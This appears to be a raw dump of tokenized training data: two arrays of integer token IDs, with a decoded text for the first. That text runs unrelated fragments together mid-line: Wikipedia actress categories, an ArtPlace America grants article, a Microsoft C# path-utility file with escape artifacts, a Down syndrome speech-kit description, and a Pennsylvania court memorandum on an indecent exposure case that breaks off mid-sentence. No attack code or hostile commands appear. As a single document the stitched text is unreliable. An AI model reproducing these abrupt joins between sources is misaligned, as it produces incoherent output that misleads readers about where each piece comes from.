[ 187, 187, 7504, 4859, 19668, 187, 1413, 27, 746, 1717, 10782, 187, 1413, 27, 14316, 952, 187, 1413, 27, 7878, 3085, 41973, 187, 1413, 27, 7878, 7315, 41973, 187, 1413, 27, 6014, 16443, 432, 1457, 2816, 3228, 13422, 830, 187, 187, 3439, 15118, 39607, 11240, 264, 28283, 1847, 317, 358, 1170, 1997, 1103, 187, 187, 11796, 23495, 3968, 556, 6138, 253, 8255, 20841, 313, 483, 273, 689, 31268, 26828, 10, 323, 697, 954, 3332, 3790, 273, 10995, 21927, 358, 1170, 16311, 15, 380, 370, 1010, 15, 19, 3041, 275, 16311, 588, 1329, 6493, 275, 7127, 7888, 285, 247, 41366, 2199, 275, 20973, 15, 187, 187, 3, 4509, 253, 44742, 273, 8118, 14, 7878, 1445, 275, 14296, 457, 84, 8049, 15784, 388, 15011, 281, 253, 8644, 19365, 34486, 273, 253, 754, 45355, 8049, 275, 17372, 281, 330, 13183, 28926, 457, 84, 8644, 9613, 309, 9362, 2199, 326, 23923, 275, 1457, 20159, 285, 556, 1024, 5195, 11358, 13, 10846, 403, 9745, 1495, 285, 4096, 896, 281, 14454, 16475, 937, 2296, 611, 13774, 6029, 3423, 15, 346, 6175, 627, 778, 320, 690, 2495, 326, 686, 20132, 422, 21927, 358, 1170, 8, 812, 2489, 247, 8136, 269, 324, 1293, 247, 21692, 17646, 13, 309, 1053, 457, 85, 1158, 594, 27, 672, 352, 457, 84, 1728, 30144, 13, 352, 457, 84, 1524, 449, 187, 187, 3, 1909, 3780, 665, 556, 1239, 479, 1078, 6057, 13, 309, 7052, 1329, 2712, 326, 7729, 1056, 10106, 25237, 625, 33398, 285, 43377, 323, 1655, 285, 2852, 8811, 285, 12942, 937, 344, 11323, 15, 346, 1147, 417, 760, 2789, 323, 1805, 7888, 28, 352, 671, 2789, 323, 247, 33696, 3126, 13, 984, 8238, 342, 616, 625, 44411, 4441, 285, 2940, 494, 25237, 403, 2080, 1679, 8461, 9634, 285, 3651, 20834, 273, 5300, 327, 247, 591, 14, 10816, 3720, 685, 253, 8138, 1020, 3102, 273, 33963, 30108, 77, 326, 556, 323, 594, 1048, 14691, 776, 13016, 449, 605, 8283, 313, 68, 10, 9664, 15, 50276, 3074, 12484, 32997, 15, 50276, 49124, 8821, 762, 253, 14325, 4637, 13, 11099, 374, 15, 17, 15, 50276, 5035, 4637, 15, 10134, 275, 253, 2199, 5230, 323, 7981, 1491, 15, 187, 187, 5302, 4155, 28, 187, 5302, 4155, 15, 32293, 15, 25114, 28, 187, 5302, 4155, 15, 33958, 21234, 28, 187, 5302, 4155, 15, 6527, 28, 187, 187, 12361, 9664, 15, 10987, 15, 44131, 15, 7781, 10588, 187, 92, 187, 50274, 11577, 4228, 966, 12899, 12804, 1005, 187, 50274, 92, 187, 50270, 9486, 4228, 30261, 1018, 5456, 256, 64, 26758, 38830, 2392, 426, 551, 12899, 15, 20330, 38830, 1080, 8662, 13, 12899, 15, 31879, 20330, 38830, 1080, 8662, 7734, 187, 50270, 9486, 1030, 2876, 914, 68, 27111, 426, 27508, 3353, 3664, 187, 50270, 9486, 1030, 2876, 44971, 16560, 426, 13357, 3664, 535, 50270, 4387, 4228, 2876, 5456, 43531, 9, 2703, 2120, 5455, 10, 187, 50270, 92, 187, 50266, 2044, 906, 426, 2120, 5455, 15, 33720, 9, 84, 64, 26758, 38830, 2392, 13, 4605, 33720, 10976, 15, 21605, 16801, 46030, 558, 535, 50266, 338, 313, 5455, 15, 20330, 38830, 1080, 8662, 2295, 686, 3353, 3401, 187, 50266, 92, 187, 50262, 338, 313, 11546, 5455, 15, 8252, 84, 3378, 9, 2447, 68, 27111, 13, 4605, 23648, 15, 45435, 989, 1228, 187, 50262, 92, 187, 50258, 2044, 1618, 426, 747, 5552, 29, 2703, 31, 551, 914, 68, 27111, 7734, 187, 50258, 3550, 15, 4717, 12519, 9, 6870, 558, 187, 50258, 6870, 426, 1618, 15, 1992, 6542, 1874, 187, 50262, 94, 187, 50266, 94, 187, 50266, 7271, 604, 313, 11546, 5455, 15, 8252, 84, 3378, 9, 2447, 895, 16560, 13, 4605, 23648, 15, 45435, 989, 1228, 187, 50266, 92, 187, 50262, 2044, 1618, 426, 747, 5552, 29, 2703, 31, 551, 44971, 16560, 7734, 187, 50262, 3550, 15, 4717, 12519, 9, 6870, 558, 187, 50262, 6870, 426, 1618, 15, 1992, 6542, 1874, 187, 50266, 94, 535, 50266, 2309, 906, 28, 187, 50270, 94, 535, 50270, 4387, 4228, 7301, 3035, 1397, 3378, 38830, 1080, 9, 2520, 2876, 1854, 10, 187, 50270, 92, 187, 50266, 3615, 1390, 426, 1854, 60, 3967, 15, 10830, 428, 337, 2194, 187, 50266, 2309, 1390, 2295, 12899, 15, 20330, 38830, 1080, 8662, 2785, 1390, 2295, 12899, 15, 31879, 20330, 38830, 1080, 8662, 28, 187, 50270, 94, 535, 50270, 4387, 4228, 2876, 8072, 3378, 38830, 1080, 9, 2520, 2876, 1854, 10, 187, 50266, 14490, 1854, 15, 3546, 1397, 3378, 38830, 1080, 1082, 3736, 1854, 1163, 1854, 559, 12899, 15, 20330, 38830, 1080, 8662, 28, 535, 50270, 4387, 4228, 2876, 8072, 3378, 38830, 1080, 9, 2520, 2876, 1854, 13, 1018, 35823, 10, 187, 50266, 14490, 1854, 15, 3546, 1397, 3378, 38830, 1080, 1082, 3736, 1854, 1163, 1854, 559, 35823, 28, 187, 50274, 94, 187, 94, 5035, 285, 26779, 322, 16948, 36671, 337, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 310, 4158, 281, 1361, 2151, 342, 9792, 9237, 281, 1287, 2590, 6519, 15, 733, 778, 671, 320, 187, 13070, 1020, 323, 643, 2151, 342, 2074, 6519, 12748, 15, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 3400, 2969, 4712, 326, 11907, 253, 45738, 285, 22563, 273, 581, 14, 285, 767, 14, 19089, 620, 494, 187, 12113, 15, 733, 3797, 4314, 5239, 273, 3000, 13, 1016, 4983, 342, 247, 6519, 3590, 326, 3798, 24357, 2393, 275, 6867, 2440, 313, 67, 13, 277, 13, 278, 13, 268, 13, 187, 90, 13, 295, 13, 259, 285, 288, 481, 187, 510, 8187, 2303, 3000, 1957, 247, 2491, 273, 30130, 293, 14, 585, 1665, 386, 13553, 285, 403, 4236, 432, 30318, 7470, 323, 9243, 187, 13863, 15, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 21168, 327, 253, 6936, 10256, 275, 253, 2045, 767, 2594, 285, 26779, 38399, 5018, 15, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 369, 187, 3456, 11529, 1925, 2594, 285, 26779, 322, 16948, 36671, 15, 9985, 562, 187, 3062, 1051, 187, 187, 6014, 16762, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 3386, 1264, 4712, 27, 187, 187, 43453, 281, 21882, 36671, 428, 970, 5406, 8959, 8364, 285, 6519, 24042, 26638, 281, 11907, 806, 9437, 387, 187, 84, 16948, 3000, 187, 187, 49, 974, 2182, 322, 16948, 36671, 428, 970, 5239, 273, 5406, 8959, 8364, 275, 3958, 281, 11907, 625, 3426, 3159, 187, 25307, 187, 187, 1785, 248, 1032, 272, 322, 16948, 36671, 428, 2709, 49495, 273, 2173, 3000, 281, 3157, 253, 19843, 285, 15274, 273, 187, 3418, 3275, 187, 187, 52, 2338, 1430, 187, 187, 22246, 476, 1265, 253, 4712, 275, 2594, 285, 26779, 322, 16948, 36671, 337, 672, 597, 27, 187, 187, 5092, 4711, 387, 1878, 690, 273, 253, 772, 251, 1103, 270, 13, 277, 13, 278, 13, 268, 13, 340, 13, 295, 13, 187, 88, 390, 288, 428, 323, 1650, 13, 278, 13, 187, 395, 270, 187, 187, 5092, 4711, 2969, 13553, 273, 841, 772, 251, 1103, 285, 247, 30130, 293, 428, 323, 1650, 13, 278, 3288, 285, 270, 5781, 187, 187, 1231, 5583, 326, 2872, 2151, 3946, 841, 4712, 347, 3517, 347, 597, 2525, 841, 6866, 15, 1723, 13, 253, 4712, 403, 671, 187, 84, 32672, 323, 5662, 2151, 665, 878, 3081, 3946, 281, 3157, 616, 6519, 19843, 15, 187, 187, 38, 1360, 84, 285, 3386, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 310, 2130, 347, 247, 11462, 6119, 390, 347, 271, 622, 15, 6295, 4735, 27, 187, 187, 13996, 14, 1615, 14, 10539, 12925, 428, 247, 11088, 7102, 13, 15571, 253, 2216, 273, 253, 4712, 285, 5277, 3213, 14, 1615, 14, 10539, 187, 6839, 6477, 187, 187, 16324, 7562, 428, 3379, 494, 1924, 14526, 323, 7663, 4780, 187, 187, 25376, 10688, 5406, 8959, 686, 35817, 8, 428, 16519, 3901, 8364, 275, 253, 3379, 11166, 13, 2074, 686, 35817, 8, 327, 187, 14396, 275, 253, 11222, 187, 187, 688, 1635, 13, 253, 11222, 3959, 27, 187, 187, 21595, 2425, 14584, 428, 7562, 940, 21680, 281, 247, 5927, 281, 1361, 2151, 2770, 327, 253, 8892, 387, 1133, 187, 187, 30430, 10111, 187, 187, 10854, 39365, 10286, 10164, 18058, 187, 187, 37, 2354, 2987, 281, 3157, 4730, 285, 2393, 7268, 323, 2151, 342, 9792, 9237, 15, 187, 6067, 2561, 285, 1941, 14, 3169, 3238, 285, 5300, 403, 9073, 6763, 273, 2872, 952, 342, 9792, 9237, 281, 5115, 625, 685, 2455, 1078, 15, 187, 187, 3378, 634, 1329, 13, 359, 476, 28523, 2561, 13, 1287, 747, 3238, 285, 5300, 13, 285, 2085, 1329, 285, 7535, 281, 625, 5870, 285, 12440, 11678, 15, 43, 14, 34, 19100, 1839, 14, 1047, 535, 187, 34656, 14, 14364, 36, 1703, 34172, 32823, 34316, 428, 36079, 9242, 10810, 34354, 14732, 309, 15, 48, 15, 49, 15, 7251, 15, 1787, 187, 187, 9507, 22362, 10663, 38112, 3481, 367, 1400, 4883, 58, 17173, 1539, 5236, 50261, 1042, 3003, 9242, 10810, 34354, 14732, 3481, 187, 50254, 50254, 50275, 49, 1400, 4883, 58, 17173, 1539, 5236, 187, 50254, 50276, 28107, 535, 50257, 87, 15, 187, 187, 46, 28077, 444, 15, 416, 31407, 38795, 1042, 535, 50254, 50276, 16667, 50262, 2302, 15, 24792, 444, 4877, 4059, 2756, 50269, 40417, 432, 253, 24992, 273, 20580, 566, 4565, 721, 13, 4072, 187, 50267, 688, 253, 2111, 273, 10200, 21231, 284, 273, 27438, 3928, 187, 50266, 36, 31729, 9333, 387, 1621, 9, 84, 2262, 13874, 14, 2950, 14, 1311, 14, 933, 2227, 1166, 14, 6755, 535, 187, 8998, 31966, 27, 443, 5656, 15157, 13, 367, 15, 43, 904, 13573, 2775, 53, 13, 500, 904, 285, 500, 1400, 44, 11965, 13, 500, 15, 187, 187, 17589, 38560, 9149, 500, 1400, 44, 11965, 13, 500, 12567, 50259, 23562, 1703, 427, 4741, 3172, 15051, 2030, 13, 4059, 535, 50273, 16667, 22662, 28230, 6339, 11126, 16667, 15440, 12527, 253, 3883, 273, 187, 187, 36817, 5966, 327, 4565, 721, 13, 4072, 13, 407, 253, 27438, 3928, 2111, 273, 187, 187, 18170, 21231, 284, 15, 2732, 10182, 8180, 13, 359, 10418, 15, 535, 50273, 510, 2332, 1302, 17903, 253, 5441, 285, 19993, 2892, 273, 436, 187, 187, 30596, 347, 3637, 27, 535, 50267, 2374, 2552, 3307, 13, 4050, 13, 387, 5512, 721, 27, 1229, 268, 15, 78, 904, 444, 587, 257, 367, 43285, 187, 50273, 274, 30487, 387, 617, 1728, 4441, 275, 247, 3874, 5967, 2440, 387, 13062, 187, 50273, 998, 9296, 4379, 2111, 13, 46985, 22604, 13, 27438, 3928, 13, 8010, 13, 846, 1907, 187, 50273, 10178, 8955, 342, 617, 7586, 13, 36779, 443, 4655, 15, 9517, 369, 285, 187, 50273, 2013, 1550, 247, 6346, 273, 1097, 10137, 15, 367, 43285, 285, 10137, 15, 443, 4655, 13, 665, 3153, 187, 50273, 36776, 342, 10137, 15, 367, 43285, 457, 5938, 15, 9517, 4852, 767, 11008, 187, 50273, 3487, 432, 253, 367, 43285, 14, 40, 4655, 1728, 15, 535, 50267, 2374, 326, 7237, 13, 10137, 15, 367, 43285, 12668, 598, 281, 617, 1728, 285, 703, 187, 50273, 35577, 9517, 5015, 342, 617, 7586, 275, 247, 6346, 457, 84, 15789, 15, 1284, 187, 50273, 12822, 15, 367, 43285, 7320, 715, 617, 35664, 703, 574, 271, 440, 706, 2855, 264, 1859, 187, 50273, 1171, 9517, 15, 4058, 4958, 369, 10268, 987, 4404, 779, 15, 1500, 187, 50273, 45912, 9517, 574, 247, 1077, 1943, 7793, 275, 253, 2914, 273, 521, 26856, 11938, 187, 50273, 81, 1103, 15, 329, 25691, 13, 247, 1077, 4076, 2624, 326, 3261, 751, 352, 369, 2218, 342, 187, 189, 43, 14, 34, 19100, 1839, 14, 1047, 2756, 50273, 1026, 43842, 15, 9517, 574, 642, 42500, 327, 15, 10137, 15, 367, 43285, 369, 1077, 187, 50273, 1688, 32284, 13, 16060, 285, 1663, 4107, 6840, 562, 672, 703, 2540, 187, 50273, 16667, 457, 84, 29893, 29292, 285, 660, 8601, 360, 7329, 407, 253, 8037, 272, 7793, 187, 50273, 249, 521, 26856, 11938, 19110, 15, 2058, 326, 1127, 13, 10137, 15, 367, 43285, 3078, 281, 755, 617, 187, 50273, 84, 2131, 562, 273, 253, 4112, 15, 1500, 1694, 562, 273, 617, 1113, 13, 285, 347, 703, 187, 50273, 13028, 598, 617, 894, 4481, 13, 703, 2183, 617, 7586, 326, 3095, 369, 327, 187, 50273, 783, 4481, 285, 3078, 281, 2312, 281, 617, 15, 1583, 2427, 4541, 715, 187, 50273, 14094, 1728, 15, 535, 50266, 3404, 2332, 13, 10137, 15, 443, 4655, 13, 665, 7244, 1728, 247, 1643, 2909, 1078, 187, 50273, 379, 7586, 13, 7859, 326, 703, 24805, 617, 1113, 275, 253, 1072, 12102, 187, 50273, 17166, 347, 7312, 15, 1284, 703, 1694, 562, 273, 617, 1113, 13, 9517, 369, 3551, 187, 50273, 483, 273, 521, 1728, 285, 9583, 617, 275, 1355, 2312 ]	External links Category:1929 births Category:Living people Category:American film actresses Category:American television actresses Category:Actresses from New York CitySearch form 54 Arts Projects Awarded Creative Placemaking Grants ArtPlace America has announced the 54 recipients (out of over 1200 applicants) for its most recent round of creative placemaking grants. The $15.2 million in grants will support projects in 44 communities and a statewide project in Connecticut. "From the exhibitions of African-American art in Houston’s Project Row Houses to the amazing folk sculpture of the Heidelberg Project in Detroit to Candy Chang’s amazing Before I Die project that originated in New Orleans and has now spread elsewhere, artists are bringing life and purpose back to forgotten districts," says Kaid Benfield. "While there may be some risk that 'creative placemaking' could become a passing fad without a lasting legacy, I don’t think so: when it’s homegrown, it’s real." "As anyone who has read me before knows, I strongly support anything that helps make urban neighborhoods more welcoming and thriving for current and future residents and visitors," he adds. "It not only makes for better communities; it also makes for a healthier environment, because cities with their more centrally located and walkable neighborhoods are far less polluting and consumptive of resources on a per-person basis than the wasteful pattern of suburban sprawl that has for so long dominated our landscape."// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; namespace Microsoft.Build.Tasks.SourceControl { internal static class PathUtilities { private static readonly char[] s_directorySeparators = { Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar }; private const string UncPrefix = @"\\"; private const string UnixRoot = "/"; public static string[] Split(string fullPath) { var result = fullPath.Split(s_directorySeparators, StringSplitOptions.RemoveEmptyEntries); if (Path.DirectorySeparatorChar == '\\') { if (fullPath.StartsWith(UncPrefix, StringComparison.Ordinal)) { var list = new List<string> { UncPrefix }; list.AddRange(result); result = list.ToArray(); } } else if (fullPath.StartsWith(UnixRoot, StringComparison.Ordinal)) { var list = new List<string> { UnixRoot }; list.AddRange(result); result = list.ToArray(); } return result; } public static bool EndsWithSeparator(this string path) { char last = path[path.Length - 1]; return last == Path.DirectorySeparatorChar \|\| last == Path.AltDirectorySeparatorChar; } public static string EndWithSeparator(this string path) => path.EndsWithSeparator()? path : path + Path.DirectorySeparatorChar; public static string EndWithSeparator(this string path, char separator) => path.EndsWithSeparator()? path : path + separator; } }See and Learn Saying Words 1 See and Learn Saying Words 1 is designed to help children with Down syndrome to develop clear speech. It may also be helpful for other children with similar speech difficulties. See and Learn Saying Words 1 provides simple activities that encourage the imitation and repetition of one- and two-syllable words. It includes eight sets of words, each starting with a speech sound that usually develops early in typical development (b, d, m, p, y, n, w and h). The 72 target words represent a range of vowel-consonant combinations and are selected from vocabulary suitable for younger children. See and Learn Saying Words 1 builds on the skills taught in the previous two See and Learn Speech steps. See and Learn Saying Words 1 was previously called See and Learn Saying Words. Find out more... Activities See and Learn Saying Words 1 features three activities: Learning to Say Words - using picture prompt cards and speechreading cues to encourage first attempts at saying words Practising Saying Words - using sets of picture prompt cards in games to encourage more complete word production Rehearsing Saying Words - multiple repetitions of specific words to improve the clarity and consistency of word production Suitability Children can start the activities in See and Learn Saying Words 1 when they: can produce at least some of the consonants b, d, m, p, y, n, w or h - for example, m, and b can produce simple combinations of these consonants and a vowel - for example, moo and baa We recommend that young children practice these activities as soon as they meet these criteria. However, the activities are also suitable for older children who need additional practice to improve their speech clarity. Editions and features See and Learn Saying Words 1 is available as a printed kit or as an app. Both feature: Step-by-step guidance - a comprehensive guide, explaining the design of the activities and providing step-by-step instructions Record keeping - printable record sheets for recording progress Clear colour picture prompt 'cards' - laminated cards in the print edition, similar 'cards' on screen in the apps In addition, the apps offer: Simple activity screens - keeping distractions to a minimum to help children focus on the tasks at hand Online stores Down Syndrome Education Organisations DSE works to improve education and early intervention for children with Down syndrome. Our research and evidence-based services and resources are helping thousands of young people with Down syndrome to achieve more than ever before. With your support, we can accelerate research, develop new services and resources, and provide support and advice to more families and professionals everywhere.J-A28038-14 NON-PRECEDENTIAL DECISION - SEE SUPERIOR COURT I.O.P. 65.37 COMMONWEALTH OF PENNSYLVANIA IN THE SUPERIOR COURT OF PENNSYLVANIA Appellee v. MARC E. ROTHSTEIN Appellant No. 330 EDA 2014 Appeal from the Judgment of Sentence December 6, 2013 In the Court of Common Pleas of Montgomery County Criminal Division at No(s): CP-46-CR-0008517-2012 BEFORE: GANTMAN, P.J., WECHT, J., and JENKINS, J. MEMORANDUM BY JENKINS, J.: FILED NOVEMBER 25, 2014 Appellant Marc Rothstein (“Appellant”) appeals the judgment of sentence entered on December 6, 2013, by the Montgomery County Court of Common Pleas. After careful consideration, we affirm. The trial court summarized the facts and procedural history of this matter as follows: On May 22, 2012, at approximately 6:30 p.m., Eileen Potts arrived at her home located in a townhouse development at 103 Stratford Court, Lansdale, Montgomery County, PA, after having had dinner with her sister, Sharon Glick. Appellant was and remains a neighbor of both Ms. Potts and Ms. Glick, who live together with Ms. Potts’ husband. Appellant lives two doors down from the Potts-Glick home. On that evening, Ms. Potts drove up to her home and she saw Appellant talking with her sister in a neighbor’s yard. As Ms. Potts pulled into her driveway she had an unobstructed view of Appellant. Her vehicle was facing right towards him. She observed Appellant had a very big hole in the front of his khaki pants. A rip, a very clean cut that looked like it was done with J-A28038-14 scissors. Appellant had no underwear on. Ms. Potts was very horrified, scared and really freaked out when she observed Appellant’s erect penis and scrotum exposed by the gaping hole in his khaki pants. At that point, Ms. Potts wanted to get her sister out of the situation. She got out of her car, and as she held up her cell phone, she told her sister that someone was on the phone and wanted to talk to her. They went quickly into their home. At trial, Ms. Glick, who arrived home a few minutes before her sister, testified that she parked her car in the same parking spot as usual. As she got out of her car, Appellant was coming out of his home and engaged her in small talk
[ 14, 13006, 49513, 8724, 10631, 366, 14, 12856, 6711, 24929, 9758, 30837, 313, 46, 3125, 481, 25585, 430, 1877, 369, 2931, 347, 6742, 1078, 4247, 8210, 285, 1501, 4371, 1877, 347, 6742, 275, 390, 846, 4247, 8210, 15, 844, 908, 247, 767, 14, 10539, 2746, 281, 7472, 3320, 14, 20034, 6355, 15, 3973, 13, 247, 1083, 14, 7483, 2746, 369, 908, 13, 347, 436, 2216, 3400, 3687, 1612, 275, 253, 6803, 273, 3320, 14, 20034, 6355, 2429, 281, 643, 7274, 15, 6347, 13, 359, 5783, 512, 10126, 1534, 6355, 970, 247, 2412, 14, 8172, 2746, 2190, 1083, 14, 5598, 1195, 6594, 15, 7214, 581, 273, 2145, 6355, 6760, 369, 5783, 275, 3213, 374, 15, 13658, 13, 14431, 342, 253, 5884, 17153, 273, 353, 3125, 14208, 1093, 27706, 2945, 285, 665, 8549, 1309, 253, 638, 4371, 1877, 2180, 497, 387, 247, 3687, 2495, 273, 1907, 247, 1429, 342, 13556, 313, 1372, 426, 337, 15, 3439, 13, 5325, 6, 7309, 27, 470, 15, 3507, 14, 19, 15, 2055, 582, 2429, 281, 1110, 14431, 665, 8549, 1309, 253, 1501, 4371, 1877, 2180, 313, 1372, 426, 470, 15, 3593, 13, 5325, 6, 7309, 27, 470, 15, 1423, 14, 19, 15, 1525, 13, 367, 323, 5016, 426, 964, 2941, 481, 496, 581, 273, 253, 1643, 2175, 281, 7472, 14834, 6305, 366, 10761, 16381, 14, 71, 3422, 3527, 6355, 13, 359, 1119, 3710, 1941, 326, 253, 14834, 353, 3125, 14208, 1093, 27706, 2945, 5420, 281, 8008, 342, 2169, 269, 3422, 3527, 2308, 281, 4833, 11948, 13556, 2495, 15, 3633, 686, 11223, 10231, 187, 187, 3633, 686, 11223, 10231, 310, 247, 33554, 2448, 2159, 17325, 3085, 28193, 10908, 3905, 37281, 15, 187, 187, 19447, 187, 11643, 34061, 347, 2207, 18049, 20614, 187, 26851, 23364, 29515, 347, 380, 3226, 187, 10908, 3905, 37281, 347, 7069, 16451, 13, 253, 533, 2146, 187, 7903, 38310, 347, 29222, 48261, 13, 247, 11115, 187, 21438, 27288, 1952, 347, 388, 1250, 28338, 187, 10852, 5979, 255, 17062, 347, 12138, 6854, 187, 40879, 9002, 347, 18682, 31274, 10124, 8237, 13, 247, 5343, 1607, 3796, 1080, 313, 284, 8024, 10633, 9002, 10, 187, 187, 40582, 7211, 187, 48, 16735, 29944, 369, 8927, 5248, 347, 7069, 16451, 13, 253, 533, 2146, 13, 275, 436, 2159, 3085, 13, 533, 574, 281, 320, 7932, 1078, 32539, 407, 10908, 3905, 37281, 13, 665, 574, 417, 14001, 275, 6590, 323, 670, 247, 807, 347, 344, 574, 644, 2444, 347, 247, 8406, 285, 6423, 13, 285, 342, 5207, 344, 651, 3517, 2285, 598, 342, 387, 253, 14449, 8741, 607, 28359, 15, 29944, 574, 644, 11062, 275, 247, 12398, 7343, 387, 1728, 835, 344, 15676, 521, 4430, 846, 247, 47830, 3199, 273, 9171, 5361, 42341, 42893, 4830, 352, 13, 285, 369, 1335, 27930, 672, 32539, 323, 5057, 686, 358, 10231, 3407, 15, 831, 7343, 6726, 29944, 281, 320, 5176, 432, 253, 5248, 273, 253, 353, 1492, 13531, 395, 3085, 416, 37522, 90, 12447, 347, 973, 15, 187, 187, 510, 11203, 3289, 7119, 187, 1552, 369, 253, 3085, 1146, 2011, 387, 253, 31687, 38713, 1321, 21632, 19670, 8726, 275, 24604, 13, 6144, 13, 835, 10523, 952, 4962, 13, 512, 533, 581, 762, 2363, 1668, 15, 187, 187, 5035, 671, 187, 5552, 273, 2448, 6590, 273, 33554, 187, 10908, 3905, 37281, 3085, 3756, 187, 187, 4941, 187, 187, 7504, 4859, 187, 187, 1413, 27, 746, 1731, 6590, 187, 1413, 27, 39134, 84, 2159, 6590, 187, 1413, 27, 7878, 11561, 2159, 6590, 187, 1413, 27, 7878, 6590, 187, 1413, 27, 7878, 2806, 14, 395, 14, 11300, 6590, 187, 1413, 27, 39134, 84, 17325, 6590, 187, 1413, 27, 32159, 6828, 407, 10852, 3262, 10966, 187, 1413, 27, 32159, 6828, 407, 10908, 3905, 37281, 187, 1413, 27, 7878, 17325, 6590, 187, 1413, 27, 2115, 6368, 2159, 6590, 37, 19674, 275, 22785, 428, 41893, 285, 308, 21557, 323, 247, 3774, 4902, 44860, 187, 187, 2374, 247, 3332, 7408, 281, 22785, 309, 369, 10903, 407, 253, 3910, 875, 6276, 275, 22785, 285, 6276, 275, 253, 1986, 2077, 15, 309, 1119, 2559, 3885, 7787, 13, 8921, 7137, 7871, 285, 38393, 1981, 987, 273, 1039, 9534, 11678, 309, 3261, 15, 733, 457, 84, 247, 1175, 2181, 309, 369, 15150, 342, 271, 7407, 31351, 6254, 15, 187, 187, 4943, 403, 247, 1643, 12192, 285, 24866, 281, 1361, 368, 10347, 323, 6276, 275, 22785, 15, 309, 3524, 326, 841, 588, 1361, 368, 452, 247, 6032, 9549, 327, 634, 1735, 7408, 2, 187, 187, 6407, 1841, 806, 13, 4446, 327, 253, 987, 14, 4608, 1930, 273, 253, 3971, 285, 1509, 760, 327, 253, 1669, 15, 187, 187, 1992, 4446, 275, 22785, 368, 1364, 320, 387, 1878, 1283, 1107, 1711, 15, 9157, 368, 1364, 452, 247, 3588, 31351, 13, 8215, 390, 5213, 6254, 457, 84, 7981, 15, 187, 187, 8457, 22785, 556, 767, 3625, 11515, 428, 5112, 285, 401, 5616, 763, 428, 320, 2119, 368, 871, 1097, 253, 5112, 285, 13986, 4454, 273, 634, 12095, 281, 3657, 13775, 672, 368, 403, 6276, 6146, 281, 6420, 390, 12008, 14, 735, 66, 313, 1542, 4227, 13, 6276, 6420, 432, 378, 2371, 265, 275, 253, 401, 5616, 763, 14, 30777, 401, 39950, 2919, 368, 778, 320, 13590, 2584, 19869, 257, 13, 533, 20948, 275, 25093, 428, 253, 5112, 1416, 323, 253, 1355, 3874, 275, 253, 5112, 14, 30777, 8799, 9409, 2919, 273, 22785, 481, 733, 457, 84, 4409, 352, 281, 7471, 247, 3158, 3806, 1984, 594, 368, 476, 452, 247, 1618, 273, 13986, 285, 5112, 29971, 323, 1846, 3000, 285, 25491, 368, 457, 620, 897, 1223, 6276, 15, 187, 187, 6080, 2087, 3885, 2701, 9600, 27, 15999, 5010, 9269, 313, 3062, 327, 326, 1996, 10, 368, 476, 5467, 247, 7654, 3885, 2701, 273, 7346, 76, 545, 390, 10677, 31664, 327, 18521, 1576, 313, 12496, 14, 34669, 13939, 558, 5091, 76, 545, 390, 8026, 31664, 327, 3872, 13939, 313, 7265, 13939, 10, 285, 2456, 76, 545, 390, 4562, 31664, 275, 4270, 14, 484, 3672, 313, 24767, 15918, 481, 9773, 5109, 281, 22785, 403, 3264, 281, 2075, 667, 29701, 327, 14, 783, 14, 17166, 13, 594, 3698, 634, 3885, 2, 187, 187, 5498, 457, 85, 320, 7270, 1293, 634, 7319, 13779, 2, 496, 22785, 13, 7319, 39978, 403, 2424, 1097, 275, 2914, 7319, 285, 896, 15, 1310, 368, 403, 15153, 342, 2151, 762, 1249, 13, 597, 1364, 1790, 275, 253, 896, 7319, 15, 187, 187, 4041, 11555, 31351, 6276, 7248, 310, 773, 36505, 432, 253, 987, 668, 534, 4419, 326, 10865, 1364, 3523, 323, 7137, 14167, 432, 253, 987, 15, 313, 1552, 310, 4336, 7285, 432, 253, 2448, 2840, 273, 27012, 987, 273, 1039, 281, 7137, 327, 253, 1669, 2698, 7214, 275, 2173, 5989, 1057, 436, 773, 36505, 432, 253, 987, 668, 417, 4647, 27, 8862, 390, 13735, 16673, 7871, 390, 327, 5694, 1576, 285, 3790, 39462, 15, 187, 187, 14358, 47325, 285, 492, 1317, 452, 253, 987, 273, 1039, 275, 22785, 15, 25728, 3523, 323, 47325, 2, 187, 187, 6080, 7137, 7871, 368, 588, 13329, 342, 4294, 2486, 773, 14061, 323, 4828, 7137, 668, 534, 310, 247, 21169, 10268, 2806, 14150, 285, 271, 19123, 10268, 2502, 14150, 13, 7809, 534, 1113, 943, 4917, 281, 1529, 672, 247, 3971, 556, 2489, 581, 2014, 18209, 28, 253, 773, 2369, 19486, 1170, 668, 390, 642, 8136, 861, 13, 534, 310, 247, 2806, 1113, 285, 2502, 1113, 1930, 14, 1615, 14, 2189, 28, 773, 2369, 12102, 668, 534, 310, 247, 2502, 1386, 689, 247, 4797, 4114, 285, 253, 773, 13121, 668, 861, 342, 247, 2502, 9096, 285, 2806, 11593, 1386, 15, 187, 187, 10772, 4481, 897, 310, 760, 11460, 342, 3564, 14, 4924, 2718, 15, 187, 187, 688, 271, 8945, 13, 11901, 11633, 9825, 275, 253, 8215, 281, 3986, 8945, 3238, 15, 1992, 755, 5659, 534, 897, 253, 9615, 415, 37, 313, 1410, 37, 582, 7489, 33725, 23673, 900, 13, 367, 15748, 23751, 390, 714, 42130, 8990, 3515, 13, 368, 476, 3334, 436, 5522, 285, 8171, 253, 4569, 13747, 15, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 38659, 19, 187, 187, 32803, 2251, 15, 187, 187, 14376, 27, 187, 187, 10146, 4367, 285, 10097, 323, 253, 8741, 274, 23751, 13747, 187, 187, 18548, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 3620, 187, 187, 32803, 2358, 15, 187, 187, 14376, 27, 187, 187, 1552, 5522, 4428, 253, 2440, 20546, 323, 253, 5135, 287, 274, 6335, 15, 187, 187, 11185, 187, 187, 10605, 187, 21258, 27, 187, 187, 9, 2369, 10234, 2568, 10, 187, 187, 16395, 456, 275, 187, 22113, 27, 5135, 287, 274, 14, 3620, 187, 187, 32803, 2090, 